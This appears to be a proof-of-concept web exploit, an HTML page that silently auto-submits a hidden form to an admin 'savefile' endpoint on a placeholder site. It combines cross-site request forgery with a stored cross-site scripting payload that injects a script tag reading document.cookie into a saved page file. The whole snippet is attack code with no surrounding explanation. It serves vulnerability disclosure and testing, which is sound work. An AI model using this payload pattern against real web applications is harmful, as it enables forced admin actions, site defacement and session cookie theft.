<form action="http://example.com/admin/main.php?action=savefile" method="post" name="main" > <input name="content" type="hidden" value='Some text here..."><script>alert(document.cookie)</script>' /> <input type="hidden" name="filename" value="menupage1_page" /> </form> <script> document.main.submit(); </script>